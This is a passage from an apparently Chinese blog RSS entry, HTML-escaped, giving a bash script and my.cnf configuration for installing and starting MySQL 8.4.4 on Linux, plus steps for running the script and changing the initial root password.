&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-d&amp;nbsp;&amp;quot;${i}&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mkdir&amp;nbsp;-p&amp;nbsp;&amp;quot;${i}&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done
}

function&amp;nbsp;DOWNLOAD_MYSQL()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-f&amp;nbsp;&amp;quot;/root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;Downloading&amp;nbsp;MySQL&amp;nbsp;8.4.4...&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wget&amp;nbsp;https://dev.mysql.com/get/Downloads/MySQL-8.4/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz&amp;nbsp;-P&amp;nbsp;/root/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;Failed&amp;nbsp;to&amp;nbsp;download&amp;nbsp;MySQL&amp;nbsp;8.4.4.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;8.4.4&amp;nbsp;package&amp;nbsp;already&amp;nbsp;exists.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;INSTALL()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chown&amp;nbsp;-R&amp;nbsp;mysql:mysql&amp;nbsp;/home/mysql/{data,mysqlbase,mysqllog}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tar&amp;nbsp;-xvf&amp;nbsp;/root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz&amp;nbsp;-C&amp;nbsp;/home/mysql/mysqlbase
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4-linux-glibc2.28-x86_64&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/bin/mysqld&amp;nbsp;--initialize&amp;nbsp;--user=mysql&amp;nbsp;--basedir=/home/mysql/mysqlbase/mysql-8.4.4/&amp;nbsp;--datadir=/home/mysql/data/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;An&amp;nbsp;error&amp;nbsp;occurs&amp;nbsp;during&amp;nbsp;the&amp;nbsp;installation&amp;nbsp;of&amp;nbsp;the&amp;nbsp;MySQL&amp;nbsp;Database&amp;nbsp;Service.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;/etc/my.cnf&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm&amp;nbsp;-rf&amp;nbsp;/etc/my.cnf
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv&amp;nbsp;/root/my.cnf&amp;nbsp;/etc/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;/etc/init.d/mysqld&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm&amp;nbsp;-rf&amp;nbsp;/etc/init.d/mysqld
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cp&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/support-files/mysql.server&amp;nbsp;/etc/init.d/mysqld
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-f&amp;nbsp;/usr/bin/mysql&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ln&amp;nbsp;-s&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/bin/mysql&amp;nbsp;/usr/bin/mysql
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;MYSQL_LOG()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_LOG=(&amp;quot;/home/mysql/mysqllog/error_log&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqllog/mybinlog&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;j&amp;nbsp;in&amp;nbsp;&amp;quot;${MYSQL_LOG[@]}&amp;quot;;&amp;nbsp;do
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-d&amp;nbsp;&amp;quot;${j}&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mkdir&amp;nbsp;-p&amp;nbsp;&amp;quot;${j}&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;touch&amp;nbsp;/home/mysql/mysqllog/error_log/error.log
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;touch&amp;nbsp;/home/mysql/mysqllog/mysql-slow.log
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chown&amp;nbsp;-R&amp;nbsp;mysql:mysql&amp;nbsp;/home/mysql/mysqllog
}

function&amp;nbsp;MYSQL_START()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/etc/init.d/mysqld&amp;nbsp;start
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep&amp;nbsp;5
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;Service&amp;nbsp;Running&amp;nbsp;Is&amp;nbsp;Error.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;Service&amp;nbsp;Running&amp;nbsp;Is&amp;nbsp;Successful.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MySQL_User
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Create_DIR
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DOWNLOAD_MYSQL
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;INSTALL
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_LOG
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_START
}

main&lt;/pre&gt;&lt;p&gt;mysql配置文件，放在与脚本同一路径下。&lt;/p&gt;&lt;p&gt;my.cnf&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[mysqld]
user&amp;nbsp;=&amp;nbsp;mysql
port&amp;nbsp;=&amp;nbsp;3306
basedir&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4
datadir&amp;nbsp;=&amp;nbsp;/home/mysql/data
socket&amp;nbsp;&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql.sock
pid_file&amp;nbsp;=&amp;nbsp;dms-mysql.pid
skip_name_resolve&amp;nbsp;=&amp;nbsp;1
open_files_limit&amp;nbsp;=&amp;nbsp;65535
default_time_zone&amp;nbsp;=&amp;nbsp;&amp;quot;+8:00&amp;quot;
#character
character-set-server=utf8mb4
collation-server=utf8mb4_general_ci
init-connect=&amp;#39;SET&amp;nbsp;NAMES&amp;nbsp;utf8mb4&amp;#39;
[client]
default-character-set=utf8mb4
port&amp;nbsp;=&amp;nbsp;3306
socket&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql.sock
[mysqldump]
quick
[mysql]
no_auto_rehash
loose-skip-binary-as-hex&lt;/pre&gt;&lt;p&gt;shell脚本赋权&lt;/p&gt;&lt;p&gt;脚本放在root目录下执行&lt;/p&gt;&lt;p&gt;chmod 700 &amp;lt;shell_name.sh&amp;gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;./&amp;lt;shell_name.sh&amp;gt;&lt;/p&gt;&lt;p&gt;脚本执行结束后在最后会展示暂时创建的密码&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/04/202504281745839448634917.png&quot; title=&quot;屏幕截图 2025-04-28 192347.png&quot; alt=&quot;屏幕截图 2025-04-28 192347.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;mysql -u root -p&lt;/p&gt;&lt;p&gt;登录后执行命令修改初始化密码&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-sql&quot;&gt;ALTER&amp;nbsp;USER&amp;nbsp;&amp;#39;username&amp;#39;@&amp;#39;hostname&amp;#39;&amp;nbsp;IDENTIFIED&amp;nbsp;BY&amp;nbsp;&amp;#39;new_password&amp;#39;;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 28 Apr 2025 19:12:48 +0800</pubDate></item></channel></rss>